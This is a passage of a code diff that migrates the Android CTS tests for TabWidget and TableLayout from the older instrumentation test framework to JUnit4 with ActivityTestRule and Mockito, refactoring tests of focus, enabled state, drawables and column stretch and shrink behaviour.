+        assertFalse(mTabWidget.getChildAt(1).isFocused());
 
         // normal
-        tabWidget.focusCurrentTab(1);
-        assertFalse(tabWidget.getChildAt(0).isSelected());
-        assertTrue(tabWidget.getChildAt(1).isSelected());
-        assertEquals(tabWidget.getChildAt(1), tabWidget.getFocusedChild());
-        assertFalse(tabWidget.getChildAt(0).isFocused());
-        assertTrue(tabWidget.getChildAt(1).isFocused());
+        mTabWidget.focusCurrentTab(1);
+        assertFalse(mTabWidget.getChildAt(0).isSelected());
+        assertTrue(mTabWidget.getChildAt(1).isSelected());
+        assertEquals(mTabWidget.getChildAt(1), mTabWidget.getFocusedChild());
+        assertFalse(mTabWidget.getChildAt(0).isFocused());
+        assertTrue(mTabWidget.getChildAt(1).isFocused());
 
-        tabWidget.focusCurrentTab(0);
-        assertTrue(tabWidget.getChildAt(0).isSelected());
-        assertFalse(tabWidget.getChildAt(1).isSelected());
-        assertEquals(tabWidget.getChildAt(0), tabWidget.getFocusedChild());
-        assertTrue(tabWidget.getChildAt(0).isFocused());
-        assertFalse(tabWidget.getChildAt(1).isFocused());
-
-        // exceptional
-        try {
-            tabWidget.focusCurrentTab(-1);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
-
-        try {
-            tabWidget.focusCurrentTab(tabWidget.getChildCount() + 1);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
+        mTabWidget.focusCurrentTab(0);
+        assertTrue(mTabWidget.getChildAt(0).isSelected());
+        assertFalse(mTabWidget.getChildAt(1).isSelected());
+        assertEquals(mTabWidget.getChildAt(0), mTabWidget.getFocusedChild());
+        assertTrue(mTabWidget.getChildAt(0).isFocused());
+        assertFalse(mTabWidget.getChildAt(1).isFocused());
     }
 
     @UiThreadTest
-    public void testSetEnabled() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-
-        tabWidget.addView(new TextView(mActivity));
-        tabWidget.addView(new TextView(mActivity));
-        assertTrue(tabWidget.isEnabled());
-        assertTrue(tabWidget.getChildAt(0).isEnabled());
-        assertTrue(tabWidget.getChildAt(1).isEnabled());
-
-        tabWidget.setEnabled(false);
-        assertFalse(tabWidget.isEnabled());
-        assertFalse(tabWidget.getChildAt(0).isEnabled());
-        assertFalse(tabWidget.getChildAt(1).isEnabled());
-
-        tabWidget.setEnabled(true);
-        assertTrue(tabWidget.isEnabled());
-        assertTrue(tabWidget.getChildAt(0).isEnabled());
-        assertTrue(tabWidget.getChildAt(1).isEnabled());
+    @Test(expected=NullPointerException.class)
+    public void testFocusCurrentTabIndexTooLow() {
+        mTabWidget.focusCurrentTab(-1);
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testFocusCurrentTabIndexTooHigh() {
+        mTabWidget.focusCurrentTab(mTabWidget.getChildCount() + 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetEnabled() {
+        mTabWidget.addView(new TextView(mActivity));
+        mTabWidget.addView(new TextView(mActivity));
+        assertTrue(mTabWidget.isEnabled());
+        assertTrue(mTabWidget.getChildAt(0).isEnabled());
+        assertTrue(mTabWidget.getChildAt(1).isEnabled());
+
+        mTabWidget.setEnabled(false);
+        assertFalse(mTabWidget.isEnabled());
+        assertFalse(mTabWidget.getChildAt(0).isEnabled());
+        assertFalse(mTabWidget.getChildAt(1).isEnabled());
+
+        mTabWidget.setEnabled(true);
+        assertTrue(mTabWidget.isEnabled());
+        assertTrue(mTabWidget.getChildAt(0).isEnabled());
+        assertTrue(mTabWidget.getChildAt(1).isEnabled());
+    }
+
+    @UiThreadTest
+    @Test
     public void testAddView() {
         MockTabWidget mockTabWidget = new MockTabWidget(mActivity);
 
@@ -256,66 +261,62 @@
         View view2 = new RelativeLayout(mActivity);
         mockTabWidget.addView(view2);
         assertSame(view2, mockTabWidget.getChildAt(1));
+    }
 
-        try {
-            mockTabWidget.addView(new ListView(mActivity));
-            fail("did not throw RuntimeException when adding invalid view");
-        } catch (RuntimeException e) {
-            // issue 1695243
-        }
+    @Test(expected=RuntimeException.class)
+    public void testAddAdapterView() {
+        MockTabWidget mockTabWidget = new MockTabWidget(mActivity);
+        // Since TabWidget registers a click listener on each child, this is expected
+        // to fail with anything that extends AdapterView
+        mockTabWidget.addView(new ListView(mActivity));
+    }
 
-        try {
-            mockTabWidget.addView(null);
-            fail("did not throw NullPointerException when child is null");
-        } catch (NullPointerException e) {
-            // issue 1695243
-        }
+    @Test(expected=NullPointerException.class)
+    public void testAddNullView() {
+        MockTabWidget mockTabWidget = new MockTabWidget(mActivity);
+        // Since TabWidget registers a click listener on each child, this is expected
+        // to fail with anything that extends AdapterView
+        mockTabWidget.addView(null);
     }
 
     @UiThreadTest
+    @Test
     public void testStripEnabled() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
+        mTabWidget.setStripEnabled(true);
+        assertTrue(mTabWidget.isStripEnabled());
 
-        tabWidget.setStripEnabled(true);
-        assertTrue(tabWidget.isStripEnabled());
-
-        tabWidget.setStripEnabled(false);
-        assertFalse(tabWidget.isStripEnabled());
+        mTabWidget.setStripEnabled(false);
+        assertFalse(mTabWidget.isStripEnabled());
     }
 
     @UiThreadTest
+    @Test
     public void testStripDrawables() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-
         // Test setting left strip drawable
-        tabWidget.setLeftStripDrawable(R.drawable.icon_green);
-        Drawable leftStripDrawable = tabWidget.getLeftStripDrawable();
+        mTabWidget.setLeftStripDrawable(R.drawable.icon_green);
+        Drawable leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFF00FF00, 1, false);
 
-        tabWidget.setLeftStripDrawable(activity.getResources().getDrawable(
-                R.drawable.icon_red, null));
-        leftStripDrawable = tabWidget.getLeftStripDrawable();
+        mTabWidget.setLeftStripDrawable(mActivity.getDrawable(R.drawable.icon_red));
+        leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip red", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
         // Test setting right strip drawable
-        tabWidget.setRightStripDrawable(R.drawable.icon_red);
-        Drawable rightStripDrawable = tabWidget.getRightStripDrawable();
+        mTabWidget.setRightStripDrawable(R.drawable.icon_red);
+        Drawable rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Right strip red", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
-        tabWidget.setRightStripDrawable(activity.getResources().getDrawable(
-                R.drawable.icon_green, null));
-        rightStripDrawable = tabWidget.getRightStripDrawable();
+        mTabWidget.setRightStripDrawable(mActivity.getDrawable(R.drawable.icon_green));
+        rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
@@ -323,20 +324,17 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDividerDrawables() {
-        TabHostCtsActivity activity = getActivity();
-        TabWidget tabWidget = activity.getTabWidget();
-
-        tabWidget.setDividerDrawable(R.drawable.icon_blue);
-        Drawable dividerDrawable = tabWidget.getDividerDrawable();
+        mTabWidget.setDividerDrawable(R.drawable.icon_blue);
+        Drawable dividerDrawable = mTabWidget.getDividerDrawable();
         assertNotNull(dividerDrawable);
         TestUtils.assertAllPixelsOfColor("Divider blue", dividerDrawable,
                 dividerDrawable.getIntrinsicWidth(), dividerDrawable.getIntrinsicHeight(),
                 true, 0xFF0000FF, 1, false);
 
-        tabWidget.setDividerDrawable(activity.getResources().getDrawable(
-                R.drawable.icon_yellow, null));
-        dividerDrawable = tabWidget.getDividerDrawable();
+        mTabWidget.setDividerDrawable(mActivity.getDrawable(R.drawable.icon_yellow));
+        dividerDrawable = mTabWidget.getDividerDrawable();
         assertNotNull(dividerDrawable);
         TestUtils.assertAllPixelsOfColor("Divider yellow", dividerDrawable,
                 dividerDrawable.getIntrinsicWidth(), dividerDrawable.getIntrinsicHeight(),
@@ -344,14 +342,6 @@
 
     }
 
-    public void testOnFocusChange() {
-        // onFocusChange() is implementation details, do NOT test
-    }
-
-    public void testOnSizeChanged() {
-        // implementation details
-    }
-
     /*
      * Mock class for TabWidget to be used in test cases.
      */
diff --git a/tests/tests/widget/src/android/widget/cts/TableCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TableCtsActivity.java
index 490d261..ce3fd7e 100644
--- a/tests/tests/widget/src/android/widget/cts/TableCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/TableCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for TableLayout test.
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
index ccf22d9..3532e99 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
@@ -16,18 +16,30 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
 
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
-import android.view.ViewGroup;
 import android.view.View.MeasureSpec;
-import android.view.ViewGroup.OnHierarchyChangeListener;
+import android.view.ViewGroup;
 import android.widget.LinearLayout;
 import android.widget.ListView;
 import android.widget.RelativeLayout;
@@ -35,197 +47,199 @@
 import android.widget.TableRow;
 import android.widget.TextView;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link TableLayout}.
  */
-public class TableLayoutTest extends ActivityInstrumentationTestCase2<TableCtsActivity> {
-    private Context mContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TableLayoutTest {
+    private TableCtsActivity mActivity;
+    private TableLayout mTableDefault;
+    private TableLayout mTableEmpty;
+    private MockTableLayout mTableCustomEmpty;
 
-    public TableLayoutTest() {
-        super("android.widget.cts", TableCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<TableCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TableCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mTableDefault = (TableLayout) mActivity.findViewById(R.id.table1);
+        mTableEmpty = (TableLayout) mActivity.findViewById(R.id.table_empty);
+        mTableCustomEmpty = (MockTableLayout) mActivity.findViewById(R.id.table_custom_empty);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-        new TableLayout(mContext);
+        new TableLayout(mActivity);
 
-        new TableLayout(mContext, null);
+        new TableLayout(mActivity, null);
 
-        TableCtsActivity activity = getActivity();
-        activity.setContentView(android.widget.cts.R.layout.table_layout_1);
-        TableLayout tableLayout = (TableLayout) activity
-                .findViewById(android.widget.cts.R.id.table1);
-        assertTrue(tableLayout.isColumnCollapsed(0));
-        assertTrue(tableLayout.isColumnStretchable(2));
+        assertTrue(mTableDefault.isColumnCollapsed(0));
+        assertTrue(mTableDefault.isColumnStretchable(2));
 
-        activity.setContentView(android.widget.cts.R.layout.table_layout_2);
-        tableLayout = (TableLayout) activity.findViewById(android.widget.cts.R.id.table2);
+        mActivity.setContentView(R.layout.table_layout_2);
+        TableLayout tableLayout = (TableLayout) mActivity.findViewById(R.id.table2);
         assertTrue(tableLayout.isColumnShrinkable(1));
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnHierarchyChangeListener() {
-        TableLayout tableLayout = new TableLayout(mContext);
+        ViewGroup.OnHierarchyChangeListener mockHierarchyChangeListener =
+                mock(ViewGroup.OnHierarchyChangeListener.class);
+        mTableEmpty.setOnHierarchyChangeListener(mockHierarchyChangeListener);
 
-        MockOnHierarchyChangeListener listener = new MockOnHierarchyChangeListener();
-        tableLayout.setOnHierarchyChangeListener(listener);
+        View toAdd = new TextView(mActivity);
+        mTableEmpty.addView(toAdd);
+        verify(mockHierarchyChangeListener, times(1)).onChildViewAdded(mTableEmpty, toAdd);
+        mTableEmpty.removeViewAt(0);
+        verify(mockHierarchyChangeListener, times(1)).onChildViewRemoved(mTableEmpty, toAdd);
+        verifyNoMoreInteractions(mockHierarchyChangeListener);
 
-        tableLayout.addView(new TextView(mContext));
-        assertTrue(listener.hasCalledOnChildViewAdded());
-        tableLayout.removeViewAt(0);
-        assertTrue(listener.hasCalledOnChildViewRemoved());
-
-        listener.reset();
-
-        tableLayout.setOnHierarchyChangeListener(null);
-        tableLayout.addView(new TextView(mContext));
-        assertFalse(listener.hasCalledOnChildViewAdded());
-        tableLayout.removeViewAt(0);
-        assertFalse(listener.hasCalledOnChildViewRemoved());
+        mTableEmpty.setOnHierarchyChangeListener(null);
+        mTableEmpty.addView(new TextView(mActivity));
+        mTableEmpty.removeViewAt(0);
+        verifyNoMoreInteractions(mockHierarchyChangeListener);
     }
 
+    @UiThreadTest
+    @Test
     public void testRequestLayout() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        tableLayout.addView(new TextView(mContext));
-        tableLayout.addView(new ListView(mContext));
-        tableLayout.layout(0, 0, 200, 300);
-        assertFalse(tableLayout.isLayoutRequested());
-        assertFalse(tableLayout.getChildAt(0).isLayoutRequested());
-        assertFalse(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.addView(new TextView(mActivity));
+        mTableEmpty.addView(new ListView(mActivity));
+        mTableEmpty.layout(0, 0, 200, 300);
+        assertFalse(mTableEmpty.isLayoutRequested());
+        assertFalse(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertFalse(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.requestLayout();
-        assertTrue(tableLayout.isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.requestLayout();
+        assertTrue(mTableEmpty.isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessShrinkAllColumns() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        assertFalse(tableLayout.isShrinkAllColumns());
+        assertFalse(mTableEmpty.isShrinkAllColumns());
 
-        tableLayout.setShrinkAllColumns(true);
-        assertTrue(tableLayout.isShrinkAllColumns());
-        tableLayout.setShrinkAllColumns(false);
-        assertFalse(tableLayout.isShrinkAllColumns());
+        mTableEmpty.setShrinkAllColumns(true);
+        assertTrue(mTableEmpty.isShrinkAllColumns());
+        mTableEmpty.setShrinkAllColumns(false);
+        assertFalse(mTableEmpty.isShrinkAllColumns());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessStretchAllColumns() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        assertFalse(tableLayout.isStretchAllColumns());
+        assertFalse(mTableEmpty.isStretchAllColumns());
 
-        tableLayout.setStretchAllColumns(true);
-        assertTrue(tableLayout.isStretchAllColumns());
-        tableLayout.setStretchAllColumns(false);
-        assertFalse(tableLayout.isStretchAllColumns());
+        mTableEmpty.setStretchAllColumns(true);
+        assertTrue(mTableEmpty.isStretchAllColumns());
+        mTableEmpty.setStretchAllColumns(false);
+        assertFalse(mTableEmpty.isStretchAllColumns());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessColumnCollapsed() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        tableLayout.addView(new TextView(mContext));
-        tableLayout.addView(new TextView(mContext));
-        assertFalse(tableLayout.isColumnCollapsed(0));
-        assertFalse(tableLayout.isColumnCollapsed(1));
+        mTableEmpty.addView(new TextView(mActivity));
+        mTableEmpty.addView(new TextView(mActivity));
+        assertFalse(mTableEmpty.isColumnCollapsed(0));
+        assertFalse(mTableEmpty.isColumnCollapsed(1));
 
-        tableLayout.layout(0, 0, 200, 300);
-        assertFalse(tableLayout.getChildAt(0).isLayoutRequested());
-        assertFalse(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.layout(0, 0, 200, 300);
+        assertFalse(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertFalse(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.setColumnCollapsed(0, true);
-        assertTrue(tableLayout.isColumnCollapsed(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnCollapsed(0, true);
+        assertTrue(mTableEmpty.isColumnCollapsed(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnCollapsed(1, true);
-        assertTrue(tableLayout.isColumnCollapsed(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnCollapsed(1, true);
+        assertTrue(mTableEmpty.isColumnCollapsed(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnCollapsed(0, false);
-        assertFalse(tableLayout.isColumnCollapsed(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnCollapsed(0, false);
+        assertFalse(mTableEmpty.isColumnCollapsed(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnCollapsed(1, false);
-        assertFalse(tableLayout.isColumnCollapsed(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnCollapsed(1, false);
+        assertFalse(mTableEmpty.isColumnCollapsed(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessColumnStretchable() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        tableLayout.addView(new TableRow(mContext));
-        tableLayout.addView(new TableRow(mContext));
-        assertFalse(tableLayout.isColumnStretchable(0));
-        assertFalse(tableLayout.isColumnStretchable(1));
+        mTableEmpty.addView(new TableRow(mActivity));
+        mTableEmpty.addView(new TableRow(mActivity));
+        assertFalse(mTableEmpty.isColumnStretchable(0));
+        assertFalse(mTableEmpty.isColumnStretchable(1));
 
-        tableLayout.layout(0, 0, 200, 300);
-        assertFalse(tableLayout.getChildAt(0).isLayoutRequested());
-        assertFalse(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.layout(0, 0, 200, 300);
+        assertFalse(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertFalse(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.setColumnStretchable(0, true);
-        assertTrue(tableLayout.isColumnStretchable(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnStretchable(0, true);
+        assertTrue(mTableEmpty.isColumnStretchable(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnStretchable(1, true);
-        assertTrue(tableLayout.isColumnStretchable(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnStretchable(1, true);
+        assertTrue(mTableEmpty.isColumnStretchable(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnStretchable(0, false);
-        assertFalse(tableLayout.isColumnStretchable(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnStretchable(0, false);
+        assertFalse(mTableEmpty.isColumnStretchable(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnStretchable(1, false);
-        assertFalse(tableLayout.isColumnStretchable(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnStretchable(1, false);
+        assertFalse(mTableEmpty.isColumnStretchable(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
     }
 
-    public void testColumnStretchableEffect() {
-        final TableCtsActivity activity = getActivity();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                activity.setContentView(android.widget.cts.R.layout.table_layout_1);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        final TableLayout tableLayout =
-                (TableLayout) activity.findViewById(android.widget.cts.R.id.table1);
-
+    @Test
+    public void testColumnStretchableEffect() throws Throwable {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         // Preparation: remove Collapsed mark for column 0.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setColumnCollapsed(0, false);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertFalse(tableLayout.isColumnStretchable(0));
-        assertFalse(tableLayout.isColumnStretchable(1));
-        assertTrue(tableLayout.isColumnStretchable(2));
+        mActivityRule.runOnUiThread(() -> mTableDefault.setColumnCollapsed(0, false));
+        instrumentation.waitForIdleSync();
+        assertFalse(mTableDefault.isColumnStretchable(0));
+        assertFalse(mTableDefault.isColumnStretchable(1));
+        assertTrue(mTableDefault.isColumnStretchable(2));
 
-        TextView column0 = (TextView) ((TableRow) tableLayout.getChildAt(0)).getChildAt(0);
-        TextView column1 = (TextView) ((TableRow) tableLayout.getChildAt(0)).getChildAt(1);
-        TextView column2 = (TextView) ((TableRow) tableLayout.getChildAt(0)).getChildAt(2);
+        TextView column0 = (TextView) ((TableRow) mTableDefault.getChildAt(0)).getChildAt(0);
+        TextView column1 = (TextView) ((TableRow) mTableDefault.getChildAt(0)).getChildAt(1);
+        TextView column2 = (TextView) ((TableRow) mTableDefault.getChildAt(0)).getChildAt(2);
         int oldWidth0 = column0.getWidth();
         int oldWidth1 = column1.getWidth();
         int oldWidth2 = column2.getWidth();
@@ -235,16 +249,12 @@
         int orignalWidth1 = column1.getMeasuredWidth();
         column2.measure(MeasureSpec.UNSPECIFIED, MeasureSpec.EXACTLY);
         int orignalWidth2 = column2.getMeasuredWidth();
-        int totalSpace = tableLayout.getWidth() - orignalWidth0
+        int totalSpace = mTableDefault.getWidth() - orignalWidth0
                 - orignalWidth1 - orignalWidth2;
 
         // Test: set column 1 is able to be stretched.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setColumnStretchable(1, true);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mTableDefault.setColumnStretchable(1, true));
+        instrumentation.waitForIdleSync();
         assertEquals(oldWidth0, column0.getWidth());
         assertTrue(oldWidth1 < column1.getWidth());
         assertTrue(oldWidth2 > column2.getWidth());
@@ -257,12 +267,8 @@
         oldWidth2 = column2.getWidth();
 
         // Test: set column 0 is able to be stretched.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setColumnStretchable(0, true);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mTableDefault.setColumnStretchable(0, true));
+        instrumentation.waitForIdleSync();
         assertTrue(oldWidth0 < column0.getWidth());
         assertTrue(oldWidth1 > column1.getWidth());
         assertTrue(oldWidth2 > column2.getWidth());
@@ -275,12 +281,8 @@
         oldWidth2 = column2.getWidth();
 
         // Test: set column 2 is unable to be stretched.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setColumnStretchable(2, false);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mTableDefault.setColumnStretchable(2, false));
+        instrumentation.waitForIdleSync();
         // assertTrue(oldWidth0 < column0.getWidth());
         // assertTrue(oldWidth1 < column1.getWidth());
         assertEquals(oldWidth0, column0.getWidth());
@@ -296,13 +298,11 @@
         oldWidth2 = column2.getWidth();
 
         // Test: mark all columns are able to be stretched.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setStretchAllColumns(true);
-                tableLayout.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTableDefault.setStretchAllColumns(true);
+            mTableDefault.requestLayout();
         });
-        getInstrumentation().waitForIdleSync();
+        instrumentation.waitForIdleSync();
         // assertTrue(oldWidth0 > column0.getWidth());
         // assertTrue(oldWidth1 > column1.getWidth());
         assertEquals(oldWidth0, column0.getWidth());
@@ -317,13 +317,11 @@
         oldWidth2 = column2.getWidth();
 
         // Test: Remove the mark for all columns are able to be stretched.
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                tableLayout.setStretchAllColumns(false);
-                tableLayout.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTableDefault.setStretchAllColumns(false);
+            mTableDefault.requestLayout();
         });
-        getInstrumentation().waitForIdleSync();
+        instrumentation.waitForIdleSync();
         // assertTrue(oldWidth0 > column0.getWidth());
         // assertTrue(oldWidth1 > column1.getWidth());
         assertEquals(oldWidth0, column0.getWidth());
@@ -334,335 +332,303 @@
         assertEquals(orignalWidth2, column2.getWidth());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessColumnShrinkable() {
-        TableLayout tableLayout = new TableLayout(mContext);
-        tableLayout.addView(new TableRow(mContext));
-        tableLayout.addView(new TableRow(mContext));
-        assertFalse(tableLayout.isColumnShrinkable(0));
-        assertFalse(tableLayout.isColumnShrinkable(1));
+        mTableEmpty.addView(new TableRow(mActivity));
+        mTableEmpty.addView(new TableRow(mActivity));
+        assertFalse(mTableEmpty.isColumnShrinkable(0));
+        assertFalse(mTableEmpty.isColumnShrinkable(1));
 
-        tableLayout.layout(0, 0, 200, 300);
-        assertFalse(tableLayout.getChildAt(0).isLayoutRequested());
-        assertFalse(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.layout(0, 0, 200, 300);
+        assertFalse(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertFalse(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.setColumnShrinkable(0, true);
-        assertTrue(tableLayout.isColumnShrinkable(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnShrinkable(0, true);
+        assertTrue(mTableEmpty.isColumnShrinkable(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnShrinkable(1, true);
-        assertTrue(tableLayout.isColumnShrinkable(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnShrinkable(1, true);
+        assertTrue(mTableEmpty.isColumnShrinkable(1));
